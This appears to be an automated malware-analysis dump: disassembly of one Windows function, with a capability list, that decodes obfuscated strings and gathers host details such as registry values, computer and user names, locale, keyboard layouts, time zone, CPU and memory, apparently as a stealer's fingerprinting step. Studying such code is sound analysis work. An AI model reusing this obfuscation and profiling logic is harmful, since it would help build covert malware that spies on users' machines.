Function at 0x40cb30
Capabilities:
Contain obfuscated stackstrings
Enumerate processes
Get geographical location
Get hostname
Get keyboard layout
Get memory capacity
Get session user name
Get system information on windows
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4f7897
push eax
mov eax, 0x1ea0
mov dword fs:[0], esp
call fcn.004baa10
push esi
push edi
mov dword [ebp - 0x74], 0
mov dword [ebp - 4], 3
xor ecx, ecx
movaps xmm0, xmmword [0x526bd0]
movups xmmword [ebp - 0x128], xmm0
mov byte [ebp - 0x118], 0
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x128]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x128], al
inc ecx
cmp ecx, 0x10
jb 0x40cb80
lea eax, [ebp - 0x128]
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x148]
call fcn.004635e0
add esp, 4
mov byte [ebp - 4], 4
xor ecx, ecx
mov word [ebp - 0x4b], 0x283d
mov byte [ebp - 0x49], 0
movzx eax, byte [ebp + ecx - 0x4b]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x4b], al
inc ecx
cmp ecx, 2
jb 0x40cbc3
cmp dword [ebp - 0x134], 0x10
lea ecx, [ebp - 0x4b]
lea eax, [ebp - 0x148]
cmovae eax, dword [ebp - 0x148]
push ecx
push eax
call fcn.004d5d50
mov edi, eax
add esp, 8
mov dword [ebp - 0xb0], edi
test edi, edi
je 0x40e396
call fcn.0040b690
test eax, eax
mov dword [ebp - 0x1a], 0x39382f1c
mov ecx, 0x20119
mov dword [ebp - 0x16], 0x70242523
setne byte [ebp - 0x25]
mov dword [ebp - 0x12], 0x40396f6a
test eax, eax
mov word [ebp - 0xe], 0x40
mov esi, 0x20019
mov edx, 0x53b0e8
cmovne esi, ecx
cmp dword [0x53b0fc], 0x10
mov dword [ebp - 0x54], esi
cmovae edx, dword [0x53b0e8]
xor ecx, ecx
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x1a]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x1a], al
inc ecx
cmp ecx, 0xd
jb 0x40cc60
push edx
lea eax, [ebp - 0x1a]
push eax
push edi
call fcn.00402d70
push 0
call fcn.004dde9b
mov dword [ebp - 0x130], eax
lea eax, [ebp - 0x130]
push eax
mov dword [ebp - 0x12c], edx
call fcn.004de383
add esp, 0x14
mov dword [ebp - 0x35], 0x2f3e2b0e
mov edx, eax
mov dword [ebp - 0x31], 0x396f6a70
mov byte [ebp - 0x2d], 0
xor ecx, ecx
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x35]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x35], al
inc ecx
cmp ecx, 8
jb 0x40ccc0
push edx
lea eax, [ebp - 0x35]
push eax
push edi
call fcn.00402d70
add esp, 0xc
mov dword [ebp - 0x34], 0x2421241f
mov dword [ebp - 0x30], 0x243d25
xor ecx, ecx
movzx eax, byte [ebp + ecx - 0x34]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x34], al
inc ecx
cmp ecx, 7
jb 0x40ccf3
xorps xmm0, xmm0
mov dword [ebp - 0xf4], 0
lea ecx, [ebp - 0x34]
mov dword [ebp - 0xf0], 0
movups xmmword [ebp - 0x104], xmm0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40cd30
sub ecx, edx
lea eax, [ebp - 0x34]
push ecx
push eax
lea ecx, [ebp - 0x104]
call fcn.00402aa0
mov byte [ebp - 4], 5
xor ecx, ecx
movaps xmm0, xmmword [0x5263f0]
movups xmmword [ebp - 0x98], xmm0
mov dword [ebp - 0xd0], 0
movaps xmm0, xmmword [0x525e80]
movups xmmword [ebp - 0x88], xmm0
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x98]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x98], al
inc ecx
cmp ecx, 0x1f
jb 0x40cd80
lea eax, [ebp - 0xd0]
push eax
push esi
push 0
lea eax, [ebp - 0x98]
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40ce4f
mov dword [ebp - 0x48], 0x20019
xor ecx, ecx
mov dword [ebp - 0x2c], 0x400
mov dword [ebp - 0x38], 0x22292b07
mov dword [ebp - 0x34], 0xd2f2423
mov dword [ebp - 0x30], 0x2e233f
movzx eax, byte [ebp + ecx - 0x38]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x38], al
inc ecx
cmp ecx, 0xb
jb 0x40cde4
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x9a0]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
lea eax, [ebp - 0x38]
push eax
push dword [ebp - 0xd0]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40ce43
lea ecx, [ebp - 0x9a0]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40ce27
sub ecx, edx
lea eax, [ebp - 0x9a0]
push ecx
push eax
lea ecx, [ebp - 0x104]
call fcn.0045f110
push dword [ebp - 0xd0]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0xf0], 0x10
lea edx, [ebp - 0x104]
mov dword [ebp - 0x1b], 0x22292b07
cmovae edx, dword [ebp - 0x104]
xor ecx, ecx
mov dword [ebp - 0x17], 0x32f2423
mov dword [ebp - 0x13], 0x6f6a700e
mov word [ebp - 0xf], 0x4039
mov byte [ebp - 0xd], 0
movzx eax, byte [ebp + ecx - 0x1b]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x1b], al
inc ecx
cmp ecx, 0xe
jb 0x40ce84
push edx
lea eax, [ebp - 0x1b]
push eax
push edi
call fcn.00402d70
add esp, 0xc
mov dword [ebp - 0x34], 0x2421241f
mov dword [ebp - 0x30], 0x243d25
xor ecx, ecx
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x34]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x34], al
inc ecx
cmp ecx, 7
jb 0x40cec0
xorps xmm0, xmm0
mov dword [ebp - 0xdc], 0
lea ecx, [ebp - 0x34]
mov dword [ebp - 0xd8], 0
movups xmmword [ebp - 0xec], xmm0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40cf00
sub ecx, edx
lea eax, [ebp - 0x34]
push ecx
push eax
lea ecx, [ebp - 0xec]
call fcn.00402aa0
mov byte [ebp - 4], 6
lea eax, [ebp - 0x2fc]
push 0x7c
push 0
push eax
call fcn.004d1ee0
add esp, 0xc
lea eax, [ebp - 0x2fc]
push eax
call dword [sym.imp.ADVAPI32.dll_GetCurrentHwProfileA]
test eax, eax
je 0x40cf6c
lea ecx, [ebp - 0x2f8]
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40cf50
sub ecx, edx
lea eax, [ebp - 0x2f8]
push ecx
push eax
lea ecx, [ebp - 0xec]
call fcn.0045f110
cmp dword [ebp - 0xd8], 0x10
lea edx, [ebp - 0xec]
mov dword [ebp - 0x36], 0xe031f0d
cmovae edx, dword [ebp - 0xec]
xor ecx, ecx
mov dword [ebp - 0x32], 0x396f6a70
mov word [ebp - 0x2e], 0x40
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x36]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x36], al
inc ecx
cmp ecx, 9
jb 0x40cfa0
push edx
lea eax, [ebp - 0x36]
push eax
push edi
call fcn.00402d70
add esp, 0xc
lea ecx, [ebp - 0x90]
call fcn.0040c5d0
mov esi, eax
mov byte [ebp - 4], 7
push 0x15
mov byte [ebp - 0x45], 0
call fcn.004606a0
lea ecx, [ebp - 0x240]
mov byte [ebp - 0x46], al
call fcn.0040c530
mov dword [ebp - 0x30], eax
mov byte [ebp - 4], 8
mov al, byte [ebp - 0x46]
mov byte [ebp - 0x29], 0
mov byte [ebp - 0x2a], al
mov byte [ebp - 0x75], 0
mov byte [ebp - 0x76], al
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x76]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40d010
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0xf4]
sub eax, edx
cmp eax, ecx
jb 0x40e4c9
cmp dword [ebp - 0xf0], 0x10
lea eax, [ebp - 0x104]
push ecx
cmovae eax, dword [ebp - 0x104]
lea ecx, [ebp - 0x76]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0xb4]
lea ecx, [ebp - 0x1f8]
call fcn.00467530
mov dword [ebp - 0x74], 2
mov byte [ebp - 4], 0xa
lea eax, [ebp - 0xec]
cmp dword [ebp - 0xd8], 0x10
lea ecx, [ebp - 0x1f8]
push dword [ebp - 0xdc]
cmovae eax, dword [ebp - 0xec]
push eax
call fcn.00461960
mov dword [ebp - 0x60], 0
lea edx, [ebp - 0x70]
mov dword [ebp - 0x5c], 0
lea ecx, [ebp - 0x228]
xorps xmm0, xmm0
mov dword [ebp - 0x74], 6
movups xmmword [ebp - 0x70], xmm0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x70], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x60], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x2a]
push eax
call fcn.00463670
add esp, 4
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x24]
push dword [ebp - 0x30]
push eax
push dword [ebp - 0xb4]
call fcn.00467360
lea eax, [ebp - 0x46]
mov dword [ebp - 0x74], 0xe
push eax
lea edx, [ebp - 0x24]
lea ecx, [ebp - 0x210]
call fcn.00463670
mov byte [ebp - 4], 0xd
mov edx, eax
push esi
lea ecx, [ebp - 0x160]
call fcn.004638e0
add esp, 8
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x210]
call fcn.00402890
mov esi, 0xe
mov dword [ebp - 0x74], esi
and esi, 0xfffffff7
mov dword [ebp - 0x74], esi
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x24]
call fcn.00402890
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x228]
call fcn.00402890
and esi, 0xfffffffb
mov dword [ebp - 0x74], esi
mov byte [ebp - 4], 0x12
mov ecx, dword [ebp - 0x5c]
cmp ecx, 0x10
jb 0x40d199
mov edx, dword [ebp - 0x70]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40d18f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40e4ce
push ecx
push edx
call fcn.004b9cb1
add esp, 8
and esi, 0xfffffffd
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x5c], 0xf
mov byte [ebp - 0x70], 0
mov dword [ebp - 0x74], esi
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x1f8]
call fcn.00402890
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x240]
call fcn.00402890
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x90]
call fcn.00402890
xorps xmm0, xmm0
mov byte [ebp - 0x19c], 0
lea ecx, [ebp - 0x5a0]
movups xmmword [ebp - 0x1bc], xmm0
movups xmmword [ebp - 0x1ac], xmm0
call fcn.0047bf30
cmp dword [ebp - 0x14c], 0x10
lea eax, [ebp - 0x160]
push dword [ebp - 0x150]
cmovae eax, dword [ebp - 0x160]
push eax
call fcn.0047bf40
push ecx
lea ecx, [ebp - 0x5a0]
call fcn.0047c010
lea eax, [ebp - 0x1bc]
push eax
lea ecx, [ebp - 0x5a0]
call fcn.0047c0e0
mov dword [ebp - 0x36], 0xe031d02
xor ecx, ecx
mov dword [ebp - 0x32], 0x396f6a70
mov word [ebp - 0x2e], 0x40
movzx eax, byte [ebp + ecx - 0x36]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x36], al
inc ecx
cmp ecx, 9
jb 0x40d255
lea eax, [ebp - 0x1bc]
push eax
lea eax, [ebp - 0x36]
push eax
push edi
call fcn.00402d70
push 0x104
lea eax, [ebp - 0xaa4]
push 0
push eax
call fcn.004d1ee0
add esp, 0x18
lea eax, [ebp - 0xaa4]
push 0x104
push eax
call fcn.0040c330
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov dword [ebp - 0x37], 0x3e2b1a40
xor ecx, ecx
mov dword [ebp - 0x33], 0x6f6a7022
mov word [ebp - 0x2f], 0x4039
mov byte [ebp - 0x2d], 0
movzx eax, byte [ebp + ecx - 0x37]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x37], al
inc ecx
cmp ecx, 0xa
jb 0x40d2c3
lea eax, [ebp - 0xaa4]
push eax
lea eax, [ebp - 0x37]
push eax
push edi
call fcn.00402d70
add esp, 0xc
mov dword [ebp - 0x1b], 0x2138251d
cmp dword [ebp + 0x1c], 0x10
lea edx, [ebp + 8]
mov dword [ebp - 0x17], 0x38230e6a
cmovae edx, dword [ebp + 8]
xor ecx, ecx
mov dword [ebp - 0x13], 0x396f6a70
mov word [ebp - 0xf], 0x4040
mov byte [ebp - 0xd], 0
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x1b]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x1b], al
inc ecx
cmp ecx, 0xe
jb 0x40d320
push edx
lea eax, [ebp - 0x1b]
push eax
push edi
call fcn.00402d70
add esp, 0xc
cmp dword [ebp + 0x60], 0
je 0x40d356
cmp dword [ebp + 0x64], 0x10
lea edx, [ebp + 0x50]
cmovae edx, dword [ebp + 0x50]
jmp 0x40d35b
mov edx, 0x520830
mov dword [ebp - 0x34], 0x6a701a03
xor ecx, ecx
mov dword [ebp - 0x30], 0x40396f
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x34]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x34], al
inc ecx
cmp ecx, 7
jb 0x40d370
push edx
lea eax, [ebp - 0x34]
push eax
push edi
call fcn.00402d70
add esp, 0xc
cmp dword [ebp + 0x48], 0
je 0x40d3a6
cmp dword [ebp + 0x4c], 0x10
lea edx, [ebp + 0x38]
cmovae edx, dword [ebp + 0x38]
jmp 0x40d3ab
mov edx, 0x520830
cmp dword [ebp + 0x30], 0
je 0x40d3be
cmp dword [ebp + 0x34], 0x10
lea esi, [ebp + 0x20]
cmovae esi, dword [ebp + 0x20]
jmp 0x40d3c3
mov esi, 0x520830
movaps xmm0, xmmword [0x526a20]
xor ecx, ecx
movups xmmword [ebp - 0x6a], xmm0
mov word [ebp - 0x5a], 0x40
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x6a]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x6a], al
inc ecx
cmp ecx, 0x11
jb 0x40d3e0
push edx
push esi
lea eax, [ebp - 0x6a]
push eax
push edi
call fcn.00402d70
movaps xmm0, xmmword [0x5263f0]
add esp, 0x10
movups xmmword [ebp - 0xa5], xmm0
xor ecx, ecx
mov dword [ebp - 0xc4], 0
movaps xmm0, xmmword [0x526c00]
movups xmmword [ebp - 0x95], xmm0
mov dword [ebp - 0x85], 0x242f3838
mov dword [ebp - 0x81], 0x382f1c3e
mov dword [ebp - 0x7d], 0x24252339
mov byte [ebp - 0x79], 0
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0xa5]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0xa5], al
inc ecx
cmp ecx, 0x2c
jb 0x40d450
lea eax, [ebp - 0xc4]
push eax
push dword [ebp - 0x54]
lea eax, [ebp - 0xa5]
push 0
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40d596
mov dword [ebp - 0x30], 0x20019
xor ecx, ecx
mov dword [ebp - 0x54], 0x400
mov dword [ebp - 0x18], 0x2e25381a
mov dword [ebp - 0x14], 0x43e293f
mov dword [ebp - 0x10], 0x2f272b
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x18]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x18], al
inc ecx
cmp ecx, 0xb
jb 0x40d4c0
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0x9a0]
push eax
lea eax, [ebp - 0x30]
push eax
push 0
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0xc4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40d58a
xor ecx, ecx
cmp byte [ebp - 0x25], cl
je 0x40d52a
mov dword [ebp - 0x2c], 0x7e7c32
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x2c]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x2c], al
inc ecx
cmp ecx, 3
jb 0x40d510
lea edx, [ebp - 0x2c]
jmp 0x40d549
mov dword [ebp - 0x48], 0x787932
movzx eax, byte [ebp + ecx - 0x48]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x48], al
inc ecx
cmp ecx, 3
jb 0x40d531
lea edx, [ebp - 0x48]
movaps xmm0, xmmword [0x5260d0]
xor ecx, ecx
movups xmmword [ebp - 0x6a], xmm0
mov word [ebp - 0x5a], 0x40
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x6a]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x6a], al
inc ecx
cmp ecx, 0x11
jb 0x40d560
push edx
lea eax, [ebp - 0x9a0]
push eax
lea eax, [ebp - 0x6a]
push eax
push edi
call fcn.00402d70
add esp, 0x10
push dword [ebp - 0xc4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x104
lea eax, [ebp - 0xba8]
push 0
push eax
call fcn.004d1ee0
add esp, 0xc
mov dword [ebp - 0xd4], 0x104
lea eax, [ebp - 0xd4]
push eax
lea eax, [ebp - 0xba8]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
movaps xmm0, xmmword [0x526d80]
xor ecx, ecx
movups xmmword [ebp - 0x6b], xmm0
mov word [ebp - 0x5b], 0x4039
mov byte [ebp - 0x59], 0
movzx eax, byte [ebp + ecx - 0x6b]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x6b], al
inc ecx
cmp ecx, 0x12
jb 0x40d5e1
lea eax, [ebp - 0xba8]
push eax
lea eax, [ebp - 0x6b]
push eax
push edi
call fcn.00402d70
push 0x104
lea eax, [ebp - 0xcac]
push 0
push eax
call fcn.004d1ee0
add esp, 0x18
mov dword [ebp - 0xb4], 0x104
lea eax, [ebp - 0xb4]
push eax
lea eax, [ebp - 0xcac]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov dword [ebp - 0x1b], 0x382f391f
xor ecx, ecx
mov dword [ebp - 0x17], 0x272b046a
mov dword [ebp - 0x13], 0x6f6a702f
mov word [ebp - 0xf], 0x4039
mov byte [ebp - 0xd], 0
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x1b]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x1b], al
inc ecx
cmp ecx, 0xe
jb 0x40d660
lea eax, [ebp - 0xcac]
push eax
lea eax, [ebp - 0x1b]
push eax
push edi
call fcn.00402d70
add esp, 0xc
call dword [sym.imp.USER32.dll_GetDesktopWindow]
lea ecx, [ebp - 0x188]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
movaps xmm0, xmmword [0x526280]
xor ecx, ecx
movups xmmword [ebp - 0x93], xmm0
mov dword [ebp - 0x83], 0x6a702425
mov dword [ebp - 0x7f], 0x6f322e6f
mov word [ebp - 0x7b], 0x402e
mov byte [ebp - 0x79], 0
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x93]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x93], al
inc ecx
cmp ecx, 0x1a
jb 0x40d6d0
push dword [ebp - 0x17c]
lea eax, [ebp - 0x93]
push dword [ebp - 0x180]
push eax
push edi
call fcn.00402d70
push 0x400
lea eax, [ebp - 0x12ac]
push 0
push eax
call fcn.004d1ee0
add esp, 0x1c
lea eax, [ebp - 0x12ac]
push 0x200
push eax
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLocaleName]
movaps xmm0, xmmword [0x526760]
xor ecx, ecx
test eax, eax
je 0x40d77b
movups xmmword [ebp - 0x6f], xmm0
mov dword [ebp - 0x5f], 0x3d6f6a70
mov word [ebp - 0x5b], 0x4039
mov byte [ebp - 0x59], cl
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x6f]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x6f], al
inc ecx
cmp ecx, 0x16
jb 0x40d750
lea eax, [ebp - 0x12ac]
push eax
lea eax, [ebp - 0x6f]
push eax
push edi
call fcn.00402d70
add esp, 0xc
jmp 0x40d7cb
movups xmmword [ebp - 0x93], xmm0
mov dword [ebp - 0x83], 0x241f6a70
mov dword [ebp - 0x7f], 0x3d252421
mov word [ebp - 0x7b], 0x4024
mov byte [ebp - 0x79], 0
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x93]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x93], al
inc ecx
cmp ecx, 0x1a
jb 0x40d7a0
lea eax, [ebp - 0x93]
push eax
push edi
call fcn.00402d70
add esp, 8
movaps xmm0, xmmword [0x526660]
xor ecx, ecx
movups xmmword [ebp - 0x6d], xmm0
mov dword [ebp - 0x5d], 0x6a70392f
mov byte [ebp - 0x59], 0
movzx eax, byte [ebp + ecx - 0x6d]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x6d], al
inc ecx
cmp ecx, 0x14
jb 0x40d7e3
lea eax, [ebp - 0x6d]
push eax
push edi
call fcn.00402d70
push 0x200
lea eax, [ebp - 0xeac]
push 0
push eax
call fcn.004d1ee0
mov esi, dword [sym.imp.USER32.dll_GetKeyboardLayoutList]
add esp, 0x14
push 0
push 0
call esi
mov dword [ebp - 0x54], eax
lea ecx, [eax*4]
push ecx
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x2c], eax
test eax, eax
je 0x40d8f3
push eax
push dword [ebp - 0x54]
call esi
xor esi, esi
mov dword [ebp - 0x54], eax
test eax, eax
je 0x40d8ea
nop word [eax + eax]
push 0x200
lea eax, [ebp - 0xeac]
push eax
mov eax, dword [ebp - 0x2c]
push 2
movzx eax, word [eax + esi*4]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
test esi, esi
jne 0x40d892
lea eax, [ebp - 0xeac]
push eax
push edi
call fcn.00402d70
add esp, 8
jmp 0x40d8ca
mov dword [ebp - 0x32], 0x6f6a656a
xor ecx, ecx
mov word [ebp - 0x2e], 0x39
movzx eax, byte [ebp + ecx - 0x32]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x32], al
inc ecx
cmp ecx, 5
jb 0x40d8a1
lea eax, [ebp - 0xeac]
push eax
lea eax, [ebp - 0x32]
push eax
push edi
call fcn.00402d70
add esp, 0xc
push 0x200
lea eax, [ebp - 0xeac]
push 0
push eax
call fcn.004d1ee0
inc esi
add esp, 0xc
cmp esi, dword [ebp - 0x54]
jb 0x40d860
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_LocalFree]
lea eax, [ebp - 0x114]
xorps xmm0, xmm0
push eax
movups xmmword [ebp - 0x114], xmm0
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movaps xmm0, xmmword [0x526ce0]
xor ecx, ecx
movups xmmword [ebp - 0x98], xmm0
movaps xmm0, xmmword [str.o.eo.jo.po.po._]
movups xmmword [ebp - 0x88], xmm0
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x98]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x98], al
inc ecx
cmp ecx, 0x1f
jb 0x40d930
movzx eax, word [ebp - 0x108]
push eax
movzx eax, word [ebp - 0x10a]
push eax
movzx eax, word [ebp - 0x10c]
push eax
movzx eax, word [ebp - 0x114]
push eax
movzx eax, word [ebp - 0x112]
push eax
movzx eax, word [ebp - 0x10e]
push eax
lea eax, [ebp - 0x98]
push eax
push edi
call fcn.00402d70
add esp, 0x20
lea eax, [ebp - 0x198]
xorps xmm0, xmm0
movups xmmword [ebp - 0x198], xmm0
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
push 0xac
lea eax, [ebp - 0x3a8]
push 0
push eax
call fcn.004d1ee0
add esp, 0xc
lea eax, [ebp - 0x3a8]
push eax
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
lea eax, [ebp - 0x128]
xorps xmm0, xmm0
push eax
lea eax, [ebp - 0x198]
push eax
lea eax, [ebp - 0x3a8]
push eax
movups xmmword [ebp - 0x128], xmm0
call dword [sym.imp.KERNEL32.dll_TzSpecificLocalTimeToSystemTime]
movd xmm1, dword [ebp - 0x3a8]
xor ecx, ecx
cvtdq2ps xmm1, xmm1
mov byte [ebp - 0x59], 0
movaps xmm0, xmmword [0x526c50]
divss xmm1, dword [0x5249c0]
movups xmmword [ebp - 0x69], xmm0
xorps xmm1, xmmword [0x526df0]
movzx eax, byte [ebp + ecx - 0x69]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x69], al
inc ecx
cmp ecx, 0x10
jb 0x40da15
cvttss2si eax, xmm1
push eax
lea eax, [ebp - 0x69]
push eax
push edi
call fcn.00402d70
add esp, 0xc
mov dword [ebp - 0x19], 0x2b021140
mov dword [ebp - 0x15], 0x2b3d2e38
xor ecx, ecx
mov dword [ebp - 0x11], 0x40172f38
mov byte [ebp - 0xd], 0
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x19]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x19], al
inc ecx
cmp ecx, 0xc
jb 0x40da60
lea eax, [ebp - 0x19]
push eax
push edi
call fcn.00402d70
movaps xmm0, xmmword [0x526110]
add esp, 8
movups xmmword [ebp - 0xa7], xmm0
xor ecx, ecx
mov dword [ebp - 0xc8], 0
movaps xmm0, xmmword [0x526b00]
movups xmmword [ebp - 0x97], xmm0
mov dword [ebp - 0x87], 0x1a262b38
mov dword [ebp - 0x83], 0x2f292538
mov dword [ebp - 0x7f], 0x38253939
mov word [ebp - 0x7b], 0x7a16
mov byte [ebp - 0x79], 0
nop
movzx eax, byte [ebp + ecx - 0xa7]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0xa7], al
inc ecx
cmp ecx, 0x2e
jb 0x40dad0
lea eax, [ebp - 0xc8]
push eax
push 0x20019
push 0
lea eax, [ebp - 0xa7]
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40dbc5
movaps xmm0, xmmword [0x526940]
xor ecx, ecx
mov dword [ebp - 0x30], 0x20019
mov dword [ebp - 0x54], 0x400
movups xmmword [ebp - 0x6c], xmm0
mov dword [ebp - 0x5c], 0x2d2423
movzx eax, byte [ebp + ecx - 0x6c]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x6c], al
inc ecx
cmp ecx, 0x13
jb 0x40db35
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0x9a0]
push eax
lea eax, [ebp - 0x30]
push eax
push 0
lea eax, [ebp - 0x6c]
push eax
push dword [ebp - 0xc8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40dbb9
mov dword [ebp - 0x1b], 0x2925381a
xor ecx, ecx
mov dword [ebp - 0x17], 0x2539392f
mov dword [ebp - 0x13], 0x6f6a7038
mov word [ebp - 0xf], 0x4039
mov byte [ebp - 0xd], al
nop
movzx eax, byte [ebp + ecx - 0x1b]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x1b], al
inc ecx
cmp ecx, 0xe
jb 0x40db90
lea eax, [ebp - 0x9a0]
push eax
lea eax, [ebp - 0x1b]
push eax
push edi
call fcn.00402d70
add esp, 0xc
push dword [ebp - 0xc8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xorps xmm0, xmm0
mov dword [ebp - 0x1c0], 0
lea eax, [ebp - 0x1e0]
push eax
movups xmmword [ebp - 0x1e0], xmm0
movups xmmword [ebp - 0x1d0], xmm0
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov dword [ebp - 0x1b], 0x6a1f1a09
xor ecx, ecx
mov dword [ebp - 0x17], 0x243f2509
mov dword [ebp - 0x13], 0x6f6a703e
mov word [ebp - 0xf], 0x402e
mov byte [ebp - 0xd], 0
nop
movzx eax, byte [ebp + ecx - 0x1b]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x1b], al
inc ecx
cmp ecx, 0xe
jb 0x40dc10
push dword [ebp - 0x1cc]
lea eax, [ebp - 0x1b]
push eax
push edi
call fcn.00402d70
add esp, 0xc
mov dword [ebp - 0x280], 0x40
lea eax, [ebp - 0x280]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
test eax, eax
je 0x40dca7
mov dword [ebp - 0x18], 0x70070b18
xor ecx, ecx
mov dword [ebp - 0x14], 0x6a3f6f6a
mov dword [ebp - 0x10], 0x400807
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x18]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x18], al
inc ecx
cmp ecx, 0xb
jb 0x40dc70
mov ecx, dword [ebp - 0x278]
mov eax, dword [ebp - 0x274]
shrd ecx, eax, 0x14
shr eax, 0x14
push eax
push ecx
lea eax, [ebp - 0x18]
push eax
push edi
call fcn.00402d70
add esp, 0x10
mov dword [ebp - 0xc0], 0
mov dword [ebp - 0xbc], 0
mov dword [ebp - 0xb8], 0
